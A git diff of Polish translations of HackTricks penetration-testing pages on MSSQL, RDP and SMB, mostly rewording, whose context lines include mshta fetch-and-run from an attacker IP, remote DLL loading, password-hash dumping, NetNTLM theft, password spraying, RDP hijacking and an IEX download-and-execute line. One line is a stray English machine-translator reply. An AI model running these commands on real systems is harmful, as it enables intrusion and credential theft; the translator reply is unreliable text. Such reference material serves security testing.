-#### Wspólna enumeracja
+#### Powszechna enumeracja
 ```sql
 # Get version
 select @@version;
@@ -153,7 +153,7 @@ order by name;
 EXEC sp_helpuser
 SELECT * FROM sysusers
 ```
-#### Uzyskaj uprawnienia
+#### Uzyskiwanie uprawnień
 
 1. **Securable:** Zdefiniowane jako zasoby zarządzane przez SQL Server w celu kontroli dostępu. Są one klasyfikowane na:
 - **Serwer** – Przykłady obejmują bazy danych, loginy, punkty końcowe, grupy dostępności i role serwera.
@@ -162,7 +162,7 @@ SELECT * FROM sysusers
 2. **Uprawnienie:** Powiązane z securables SQL Server, uprawnienia takie jak ALTER, CONTROL i CREATE mogą być przyznawane podmiotowi. Zarządzanie uprawnieniami odbywa się na dwóch poziomach:
 - **Poziom serwera** przy użyciu loginów
 - **Poziom bazy danych** przy użyciu użytkowników
-3. **Podmiot:** Termin ten odnosi się do podmiotu, któremu przyznano uprawnienia do securable. Podmioty obejmują głównie loginy i użytkowników bazy danych. Kontrola dostępu do securables jest realizowana poprzez przyznawanie lub odmawianie uprawnień lub poprzez włączanie loginów i użytkowników do ról wyposażonych w prawa dostępu.
+3. **Podmiot:** Termin ten odnosi się do podmiotu, któremu przyznano uprawnienia do securable. Podmioty obejmują głównie loginy i użytkowników bazy danych. Kontrola dostępu do securables odbywa się poprzez przyznawanie lub odmawianie uprawnień lub poprzez włączanie loginów i użytkowników do ról wyposażonych w prawa dostępu.
 ```sql
 # Show all different securables names
 SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@@ -184,10 +184,10 @@ EXEC sp_helprotect 'xp_cmdshell'
 ```
 ## Sztuczki
 
-### Wykonywanie poleceń OS
+### Wykonywanie poleceń systemu operacyjnego
 
 > [!OSTRZEŻENIE]
-> Zauważ, że aby móc wykonywać polecenia, nie tylko konieczne jest, aby **`xp_cmdshell`** **było włączone**, ale także posiadanie **uprawnienia EXECUTE do procedury składowanej `xp_cmdshell`**. Możesz sprawdzić, kto (oprócz sysadminów) może używać **`xp_cmdshell`** za pomocą:
+> Zauważ, że aby móc wykonywać polecenia, nie tylko konieczne jest, aby **`xp_cmdshell`** było **włączone**, ale także posiadanie **uprawnienia EXECUTE do procedury składowanej `xp_cmdshell`**. Możesz sprawdzić, kto (oprócz sysadminów) może używać **`xp_cmdshell`** za pomocą:
 >
 > ```sql
 > Use master
@@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
 # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
 ```
+### Uzyskaj zhaszowane hasła
+```bash
+SELECT * FROM master.sys.syslogins;
+```
 ### Kradzież hasha NetNTLM / Atak Relay
 
 Powinieneś uruchomić **serwer SMB**, aby przechwycić hash używany w uwierzytelnieniu (`impacket-smbserver` lub `responder` na przykład).
@@ -269,7 +273,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
 > EXEC sp_helprotect 'xp_fileexist';
 > ```
 
-Używając narzędzi takich jak **responder** lub **Inveigh**, możliwe jest **ukradzenie hasha NetNTLM**.\
+Używając narzędzi takich jak **responder** lub **Inveigh**, możliwe jest **kradzież hasha NetNTLM**.\
 Możesz zobaczyć, jak używać tych narzędzi w:
 
 {{#ref}}
@@ -321,7 +325,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
 ```
 ### **RCE/Odczyt plików wykonujących skrypty (Python i R)**
 
-MSSQL może pozwolić na wykonanie **skryptów w Pythonie i/lub R**. Ten kod będzie wykonywany przez **innego użytkownika** niż ten, który używa **xp_cmdshell** do wykonywania poleceń.
+MSSQL może pozwolić na wykonanie **skryptów w Pythonie i/lub R**. Ten kod będzie wykonywany przez **innego użytkownika** niż ten używający **xp_cmdshell** do wykonywania poleceń.
 
 Przykład próby wykonania **'R'** _"Hellow World!"_ **nie działa**:
 
@@ -343,7 +347,7 @@ GO
 ```
 ### Odczyt rejestru
 
-Microsoft SQL Server oferuje **wiele rozszerzonych procedur składowanych**, które pozwalają na interakcję nie tylko z siecią, ale także z systemem plików, a nawet z [**rejestrem systemu Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
+Microsoft SQL Server udostępnia **wiele rozszerzonych procedur składowanych**, które pozwalają na interakcję nie tylko z siecią, ale także z systemem plików, a nawet z [**rejestrem systemu Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
 
 | **Zwykłe**                 | **Świadome instancji**                   |
 | --------------------------- | ------------------------------------ |
@@ -368,7 +372,7 @@ EXEC sp_helprotect 'xp_regwrite';
 ```
 Dla **więcej przykładów** sprawdź [**oryginalne źródło**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
 
-### RCE z użyciem MSSQL User Defined Function - SQLHttp 
+### RCE z użyciem funkcji zdefiniowanej przez użytkownika MSSQL - SQLHttp 
 
 Możliwe jest **załadowanie pliku .NET dll w MSSQL za pomocą niestandardowych funkcji**. Wymaga to jednak **dostępu `dbo`**, więc potrzebujesz połączenia z bazą danych **jako `sa` lub w roli Administratora**.
 
@@ -376,11 +380,11 @@ Możliwe jest **załadowanie pliku .NET dll w MSSQL za pomocą niestandardowych
 
 ### RCE z `autoadmin_task_agents`
 
-Zgodnie z [**tym postem**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), możliwe jest również załadowanie zdalnego dll i sprawienie, by MSSQL go wykonał za pomocą czegoś takiego:
+Zgodnie [**z tym postem**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), możliwe jest również załadowanie zdalnego dll i sprawienie, by MSSQL go wykonał za pomocą czegoś takiego:
 ```sql
 update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
 ```
-Please provide the text you would like me to translate.
+I'm sorry, but it seems that you haven't provided any content to translate. Please provide the text you would like me to translate to Polish.
 ```csharp
 using Microsoft.SqlServer.SmartAdmin;
 using System;
@@ -477,7 +481,7 @@ Możesz użyć modułu **metasploit**:
 msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
 ```
 Lub skrypt **PS**:
-```powershell
+```bash
 # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
@@ -505,9 +509,9 @@ enum_links
 use_link [NAME]
 ```
 > [!NOTE]
-> Jeśli możesz podszyć się pod użytkownika, nawet jeśli nie jest on sysadminem, powinieneś sprawdzić, **czy użytkownik ma dostęp** do innych **baz danych** lub połączonych serwerów.
+> Jeśli możesz podszyć się pod użytkownika, nawet jeśli nie jest on sysadminem, powinieneś sprawdzić, **czy użytkownik ma dostęp** do innych **baz danych** lub powiązanych serwerów.
 
-Zauważ, że gdy jesteś sysadminem, możesz podszyć się pod każdego innego:
+Zauważ, że gdy już jesteś sysadminem, możesz podszyć się pod każdego innego:
 ```sql
 -- Impersonate RegUser
 EXECUTE AS LOGIN = 'RegUser'
@@ -522,7 +526,7 @@ Możesz przeprowadzić ten atak za pomocą modułu **metasploit**:
 msf> auxiliary/admin/mssql/mssql_escalate_execute_as
 ```
 lub za pomocą skryptu **PS**:
-```powershell
+```bash
 # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
@@ -535,15 +539,15 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
 
 Atakujący może wyodrębnić hasła serwerów powiązanych SQL Server z instancji SQL i uzyskać je w postaci czystego tekstu, co daje atakującemu hasła, które mogą być użyte do zdobycia większej kontroli nad celem. Skrypt do ekstrakcji i deszyfrowania haseł przechowywanych dla serwerów powiązanych można znaleźć [tutaj](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
 
-Niektóre wymagania i konfiguracje muszą być spełnione, aby ten exploit działał. Przede wszystkim musisz mieć prawa administratora na maszynie lub możliwość zarządzania konfiguracjami SQL Server.
+Aby ten exploit działał, należy spełnić pewne wymagania i skonfigurować kilka rzeczy. Przede wszystkim musisz mieć prawa administratora na maszynie lub możliwość zarządzania konfiguracjami SQL Server.
 
-Po zweryfikowaniu swoich uprawnień, musisz skonfigurować trzy rzeczy, które są następujące:
+Po zweryfikowaniu swoich uprawnień musisz skonfigurować trzy rzeczy, które są następujące:
 
 1. Włączyć TCP/IP na instancjach SQL Server;
-2. Dodać parametr uruchamiania, w tym przypadku zostanie dodany znacznik śledzenia, który to -T7806.
+2. Dodać parametr uruchamiania, w tym przypadku zostanie dodany znacznik śledzenia, który wynosi -T7806.
 3. Włączyć zdalne połączenie administracyjne.
 
-Aby zautomatyzować te konfiguracje, [to repozytorium](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) zawiera potrzebne skrypty. Oprócz posiadania skryptu PowerShell dla każdego kroku konfiguracji, repozytorium ma również pełny skrypt, który łączy skrypty konfiguracyjne oraz ekstrakcję i deszyfrowanie haseł.
+Aby zautomatyzować te konfiguracje, [to repozytorium](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) zawiera potrzebne skrypty. Oprócz posiadania skryptu PowerShell dla każdego kroku konfiguracji, repozytorium zawiera również pełny skrypt, który łączy skrypty konfiguracyjne oraz ekstrakcję i deszyfrowanie haseł.
 
 Aby uzyskać więcej informacji, zapoznaj się z następującymi linkami dotyczącymi tego ataku: [Deszyfrowanie haseł serwera powiązanego bazy danych MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
 
@@ -566,7 +570,7 @@ Prawdopodobnie będziesz mógł **eskalować do Administratora** korzystając z
 
 - `port:1433 !HTTP`
 
-## Odniesienia
+## Odnośniki
 
 - [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
 - [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
@@ -578,7 +582,7 @@ Prawdopodobnie będziesz mógł **eskalować do Administratora** korzystając z
 - [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
 - [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
 
-## Automatyczne komendy HackTricks
+## Automatyczne polecenia HackTricks
 ```
 Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
 Port_Number:  1433     #Comma separated if there is more than one.
diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md
index 2cd83fdd6..1a9770973 100644
--- a/src/network-services-pentesting/pentesting-rdp.md
+++ b/src/network-services-pentesting/pentesting-rdp.md
@@ -5,7 +5,7 @@
 
 ## Podstawowe informacje
 
-Opracowany przez Microsoft, **Remote Desktop Protocol** (**RDP**) ma na celu umożliwienie połączenia z interfejsem graficznym między komputerami w sieci. Aby nawiązać takie połączenie, użytkownik korzysta z oprogramowania klienckiego **RDP**, a jednocześnie zdalny komputer musi działać na oprogramowaniu serwera **RDP**. Ta konfiguracja pozwala na bezproblemowe sterowanie i dostęp do środowiska pulpitu zdalnego komputera, zasadniczo przenosząc jego interfejs na lokalne urządzenie użytkownika.
+Opracowany przez Microsoft, **Remote Desktop Protocol** (**RDP**) ma na celu umożliwienie połączenia z graficznym interfejsem między komputerami w sieci. Aby nawiązać takie połączenie, użytkownik korzysta z oprogramowania klienckiego **RDP**, a jednocześnie zdalny komputer musi działać na oprogramowaniu serwera **RDP**. Ta konfiguracja pozwala na bezproblemowe sterowanie i dostęp do środowiska pulpitu zdalnego komputera, zasadniczo przenosząc jego interfejs na lokalne urządzenie użytkownika.
 
 **Domyślny port:** 3389
 ```
@@ -22,11 +22,11 @@ Sprawdza dostępne szyfrowanie i podatność na DoS (bez powodowania DoS dla us
 
 ### [Brute force](../generic-hacking/brute-force.md#rdp)
 
-**Uważaj, możesz zablokować konta**
+**Bądź ostrożny, możesz zablokować konta**
 
 ### **Password Spraying**
 
-**Uważaj, możesz zablokować konta**
+**Bądź ostrożny, możesz zablokować konta**
 ```bash
 # https://github.com/galkan/crowbar
 crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
@@ -62,7 +62,7 @@ tscon  /dest:
 ```
 Teraz będziesz wewnątrz wybranej sesji RDP i będziesz musiał podszyć się pod użytkownika, używając tylko narzędzi i funkcji systemu Windows.
 
-**Ważne**: Kiedy uzyskasz dostęp do aktywnych sesji RDP, wylogujesz użytkownika, który z niej korzystał.
+**Ważne**: Gdy uzyskasz dostęp do aktywnych sesji RDP, wylogujesz użytkownika, który z niej korzystał.
 
 Możesz uzyskać hasła z procesu, zrzucając je, ale ta metoda jest znacznie szybsza i pozwala na interakcję z wirtualnymi pulpitami użytkownika (hasła w notatniku bez zapisywania na dysku, inne sesje RDP otwarte na innych maszynach...)
 
@@ -81,7 +81,7 @@ Możesz wyszukiwać RDP, które zostały zainfekowane jedną z tych technik, kor
 
 ### RDP Process Injection
 
-Jeśli ktoś z innej domeny lub z **lepszymi uprawnieniami zaloguje się przez RDP** do komputera, gdzie **jesteś administratorem**, możesz **wstrzyknąć** swój beacon do jego **procesu sesji RDP** i działać jako on:
+Jeśli ktoś z innej domeny lub z **lepszymi uprawnieniami zaloguje się przez RDP** do komputera, na którym **jesteś administratorem**, możesz **wstrzyknąć** swój beacon do jego **procesu sesji RDP** i działać jako on:
 
 {{#ref}}
 ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
@@ -91,11 +91,11 @@ Jeśli ktoś z innej domeny lub z **lepszymi uprawnieniami zaloguje się przez R
 ```bash
 net localgroup "Remote Desktop Users" UserLoginName /add
 ```
-## Narzędzia automatyczne
+## Automatyczne Narzędzia
 
 - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
 
-**AutoRDPwn** to framework do post-exploatacji stworzony w Powershell, zaprojektowany głównie w celu automatyzacji ataku **Shadow** na komputerach z systemem Microsoft Windows. Ta luka (wymieniona jako funkcja przez Microsoft) pozwala zdalnemu atakującemu **widzieć pulpit swojej ofiary bez jej zgody**, a nawet kontrolować go na żądanie, używając narzędzi natywnych dla samego systemu operacyjnego.
+**AutoRDPwn** to framework do post-exploatacji stworzony w Powershell, zaprojektowany głównie w celu automatyzacji ataku **Shadow** na komputerach Microsoft Windows. Ta luka (wymieniona jako funkcja przez Microsoft) pozwala zdalnemu atakującemu **widzieć pulpit swojej ofiary bez jej zgody**, a nawet kontrolować go na żądanie, używając narzędzi natywnych dla samego systemu operacyjnego.
 
 - [**EvilRDP**](https://github.com/skelsec/evilrdp)
 - Kontroluj mysz i klawiaturę w zautomatyzowany sposób z linii poleceń
@@ -104,7 +104,11 @@ net localgroup "Remote Desktop Users" UserLoginName /add
 - Wykonuj dowolne polecenia SHELL i PowerShell na celu bez przesyłania plików
 - Przesyłaj i pobieraj pliki do/z celu, nawet gdy transfer plików jest wyłączony na celu
 
-## Automatyczne polecenia HackTricks
+- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
+
+To narzędzie pozwala na wykonywanie poleceń w RDP ofiary **bez potrzeby interfejsu graficznego**.
+
+## HackTricks Automatyczne Polecenia
 ```
 Protocol_Name: RDP    #Protocol Abbreviation if there is one.
 Port_Number:  3389     #Comma separated if there is more than one.
diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md
index 3e739f48f..1bad6149b 100644
--- a/src/network-services-pentesting/pentesting-smb.md
+++ b/src/network-services-pentesting/pentesting-smb.md
@@ -4,7 +4,7 @@
 
 ## **Port 139**
 
-_**System Podstawowego Wejścia/Wyjścia Sieci**_** (NetBIOS)** to protokół oprogramowania zaprojektowany w celu umożliwienia aplikacjom, komputerom i stacjom roboczym w lokalnej sieci (LAN) interakcji z urządzeniami sieciowymi oraz **ułatwienia transmisji danych w sieci**. Identyfikacja i lokalizacja aplikacji oprogramowania działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków długości i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) przy użyciu **TCP Port 139**.
+_**System Podstawowego Wejścia-Wyjścia Sieci**_** (NetBIOS)** to protokół oprogramowania zaprojektowany w celu umożliwienia aplikacjom, komputerom PC i stacjom roboczym w lokalnej sieci (LAN) interakcji z sprzętem sieciowym i **ułatwienia transmisji danych w sieci**. Identyfikacja i lokalizacja aplikacji oprogramowania działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków długości i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) przy użyciu **TCP Port 139**.
 ```
 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
 ```
@@ -20,7 +20,7 @@ Na przykład, w kontekście systemu Windows, podkreśla się, że SMB może dzia
 
 Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, jest zaprojektowany do regulowania **dostępu do plików**, katalogów i innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w serii systemów operacyjnych **Windows**, SMB zapewnia zgodność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu operacyjnego Microsoftu bezproblemową interakcję z tymi działającymi na starszych wersjach. Dodatkowo, projekt **Samba** oferuje rozwiązanie typu open source, umożliwiające implementację SMB na systemach **Linux** i Unix, co ułatwia komunikację międzyplatformową za pomocą SMB.
 
-Udostępniane przez serwer SMB udziały, reprezentujące **dowolne części lokalnego systemu plików**, mogą być widoczne dla klienta częściowo **niezależnie** od rzeczywistej struktury serwera. **Listy Kontroli Dostępu (ACL)**, które definiują **prawa dostępu**, pozwalają na **dokładną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`wykonaj`**, **`odczytaj`** i **`pełny dostęp`**. Te uprawnienia mogą być przypisane do poszczególnych użytkowników lub grup, w zależności od udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
+Udostępniane przez serwer SMB udziały, reprezentujące **dowolne części lokalnego systemu plików**, mogą sprawić, że hierarchia będzie widoczna dla klienta częściowo **niezależnie** od rzeczywistej struktury serwera. **Listy Kontroli Dostępu (ACL)**, które definiują **prawa dostępu**, pozwalają na **dokładną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`wykonaj`**, **`odczytaj`** i **`pełny dostęp`**. Te uprawnienia mogą być przypisywane poszczególnym użytkownikom lub grupom, w zależności od udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
 
 ### IPC$ Share
 
@@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
 
 Aby szukać możliwych exploitów dla wersji SMB, ważne jest, aby wiedzieć, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz:
 
-- Użyć modułu pomocniczego **MSF** \_**auxiliary/scanner/smb/smb_version**
+- Użyć modułu pomocniczego **MSF** _**auxiliary/scanner/smb/smb_version**_
 - Lub tego skryptu:
 ```bash
 #!/bin/sh
@@ -82,18 +82,18 @@ searchsploit microsoft smb
 ### **Możliwe** Poświadczenia
 
 | **Nazwa użytkownika** | **Typowe hasła**                          |
-| --------------------- | ----------------------------------------- |
-| _(puste)_            | _(puste)_                                 |
-| gość                 | _(puste)_                                 |
-| Administrator, admin  | _(puste)_, hasło, administrator, admin   |
-| arcserve             | arcserve, backup                          |
-| tivoli, tmersrvd     | tivoli, tmersrvd, admin                   |
-| backupexec, backup   | backupexec, backup, arcada                |
-| test, lab, demo      | hasło, test, lab, demo                    |
+| ---------------------- | ----------------------------------------- |
+| _(puste)_              | _(puste)_                                 |
+| gość                   | _(puste)_                                 |
+| Administrator, admin   | _(puste)_, hasło, administrator, admin    |
+| arcserve               | arcserve, backup                          |
+| tivoli, tmersrvd       | tivoli, tmersrvd, admin                   |
+| backupexec, backup     | backupexec, backup, arcada                |
+| test, lab, demo        | hasło, test, lab, demo                    |
 
 ### Atak Brute Force
 
-- [**SMB Brute Force**](../generic-methodologies-and-resources/brute-force.md#smb)
+- [**Atak Brute Force SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
 
 ### Informacje o Środowisku SMB
 
@@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
 
 ### Lista folderów udostępnionych
 
-Zawsze zaleca się sprawdzenie, czy możesz uzyskać dostęp do czegokolwiek, jeśli nie masz poświadczeń, spróbuj użyć **null** **credentials/guest user**.
+Zawsze zaleca się sprawdzenie, czy możesz uzyskać dostęp do czegokolwiek, jeśli nie masz poświadczeń, spróbuj użyć **null** **poświadczeń/użytkownika gościa**.
 ```bash
 smbclient --no-pass -L // # Null user
 smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -197,9 +197,9 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H  [-P ] #Pass-t
 ```
 ### **Ręczne enumerowanie udziałów systemu Windows i łączenie się z nimi**
 
-Możliwe, że masz ograniczenia w wyświetlaniu jakichkolwiek udziałów maszyny hosta, a gdy próbujesz je wylistować, wydaje się, że nie ma żadnych udziałów do których można się połączyć. Dlatego warto spróbować ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, podczas korzystania z ważnej sesji (np. sesji null lub ważnych poświadczeń). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
+Możliwe, że masz ograniczenia w wyświetlaniu jakichkolwiek udziałów maszyny hosta i gdy próbujesz je wylistować, wydaje się, że nie ma żadnych udziałów do połączenia. Dlatego warto spróbować ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, podczas korzystania z ważnej sesji (np. sesji null lub ważnych poświadczeń). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
 
-Typowe nazwy udziałów dla celów systemu Windows to
+Typowe nazwy udziałów dla celów Windows to
 
 - C$
 - D$
@@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
 ### **Enumeruj udostępnienia z Windows / bez narzędzi firm trzecich**
 
 PowerShell
-```powershell
+```bash
 # Retrieves the SMB shares on the locale computer.
 Get-SmbShare
 Get-WmiObject -Class Win32_Share
@@ -300,7 +300,7 @@ Polecenia:
 
 ### Wyszukiwanie folderów udostępnionych w domenie
 
-- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
+- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
 ```bash
 Snaffler.exe -s -d domain.local -o snaffler.log -v data
 ```
@@ -312,8 +312,12 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
 ```
 Szczególnie interesujące z udziałów są pliki nazwane **`Registry.xml`**, ponieważ **mogą zawierać hasła** dla użytkowników skonfigurowanych z **autologowaniem** za pomocą zasad grupy. Lub pliki **`web.config`**, ponieważ zawierają dane uwierzytelniające.
 
+- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
+- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
+- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
+
 > [!NOTE]
-> Udział **SYSVOL** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Możesz tam **znaleźć** wiele różnych skryptów batch, VBScript i PowerShell.\
+> Udział **SYSVOL** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Możesz tam **znaleźć** wiele różnych plików wsadowych, VBScript i **skryptów** PowerShell.\
 > Powinieneś **sprawdzić** **skrypty** w środku, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **hasła**.
 
 ## Odczyt rejestru
@@ -331,15 +335,15 @@ Domyślna konfiguracja serwera **Samba** zazwyczaj znajduje się w `/etc/samba/s
 | **Ustawienie**              | **Opis**                                                           |
 | --------------------------- | ------------------------------------------------------------------- |
 | `browseable = yes`          | Czy zezwolić na wyświetlanie dostępnych udziałów w bieżącym udziale? |
-| `read only = no`            | Czy zabronić tworzenia i modyfikacji plików?                      |
-| `writable = yes`            | Czy zezwolić użytkownikom na tworzenie i modyfikowanie plików?   |
-| `guest ok = yes`            | Czy zezwolić na łączenie się z usługą bez użycia hasła?           |
-| `enable privileges = yes`   | Czy honorować uprawnienia przypisane do konkretnego SID?          |
-| `create mask = 0777`        | Jakie uprawnienia muszą być przypisane do nowo utworzonych plików? |
+| `read only = no`            | Czy zabronić tworzenia i modyfikacji plików?                       |
+| `writable = yes`            | Czy zezwolić użytkownikom na tworzenie i modyfikowanie plików?     |
+| `guest ok = yes`            | Czy zezwolić na łączenie się z usługą bez użycia hasła?            |
+| `enable privileges = yes`   | Czy honorować uprawnienia przypisane do konkretnego SID?           |
+| `create mask = 0777`        | Jakie uprawnienia muszą być przypisane do nowo utworzonych plików?  |
 | `directory mask = 0777`     | Jakie uprawnienia muszą być przypisane do nowo utworzonych katalogów? |
-| `logon script = script.sh`  | Jaki skrypt musi być wykonany przy logowaniu użytkownika?         |
-| `magic script = script.sh`  | Który skrypt powinien być wykonany, gdy skrypt zostanie zamknięty? |
-| `magic output = script.out` | Gdzie musi być przechowywany wynik magicznego skryptu?            |
+| `logon script = script.sh`  | Jaki skrypt musi być wykonany przy logowaniu użytkownika?           |
+| `magic script = script.sh`  | Który skrypt powinien być wykonany, gdy skrypt zostanie zamknięty?  |
+| `magic output = script.out` | Gdzie musi być przechowywany wynik magicznego skryptu?             |
 
 Polecenie `smbstatus` podaje informacje o **serwerze** i o **tym, kto jest połączony**.
 
@@ -354,7 +358,7 @@ rpcclient -k ws01win10.domain.com
 
 ### **crackmapexec**
 
-crackmapexec może wykonywać polecenia **wykorzystując** dowolne z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest **domyślną** metodą. Możesz wskazać, którą opcję wolisz użyć za pomocą parametru `--exec-method`:
+crackmapexec może wykonywać polecenia **wykorzystując** dowolną z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest **domyślną** metodą. Możesz wskazać, którą opcję wolisz użyć za pomocą parametru `--exec-method`:
 ```bash
 apt-get install crackmapexec
 
@@ -419,21 +423,21 @@ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
 
 [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
 
-## **Bruteforce użytkowników poświadczeń**
+## **Bruteforce dane logowania użytkowników**
 
 **To nie jest zalecane, możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób**
 ```bash
 nmap --script smb-brute -p 445 
 ridenum.py  500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
 ```
-## Atak SMB relay
+## Atak relay SMB
 
-Ten atak wykorzystuje zestaw narzędzi Responder do **przechwytywania sesji uwierzytelniania SMB** w sieci wewnętrznej i **przekazywania** ich do **docelowej maszyny**. Jeśli **sesja uwierzytelniania jest udana**, automatycznie przeniesie cię do **powłoki** **systemowej**.\
+Ten atak wykorzystuje zestaw narzędzi Responder do **przechwytywania sesji uwierzytelniania SMB** w wewnętrznej sieci i **przekazywania** ich do **docelowej maszyny**. Jeśli **sesja uwierzytelnienia jest udana**, automatycznie przeniesie cię do **powłoki** **systemowej**.\
 [**Więcej informacji na temat tego ataku tutaj.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 
 ## SMB-Trap
 
-Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do jakiejś treści za pośrednictwem SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
+Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do jakiejś treści przez SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
 
 Dzieje się to w przypadku funkcji:
 
